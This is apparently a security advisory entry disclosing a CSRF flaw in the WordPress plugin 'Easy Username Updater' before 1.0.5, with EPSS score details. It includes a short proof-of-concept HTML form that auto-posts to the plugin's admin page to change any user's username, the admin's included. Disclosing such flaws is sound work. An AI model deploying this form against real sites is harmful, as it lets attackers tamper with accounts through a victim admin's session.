Easy Username Updater < 1.0.5 - Arbitrary Username Update via CSRF

2022-07-1800:00:00

Raad Haddad of Cloudyrion GmbH

0.001 Low

EPSS

Percentile

26.3%

JSON

The plugin does not implement CSRF checks, which could allow attackers to make a logged in admin change any user’s username includes the admin

<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=eup_username_update&update=3" method="POST">
      <input type="hidden" name="user&#95;login" value="newusername" />
      <input type="hidden" name="submit" value="Update&#32;Username" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

0.001 Low

EPSS

Percentile

26.3%

JSON

Related for WPEX-ID:426B5A0F-C16D-429A-9396-B3AEA7922826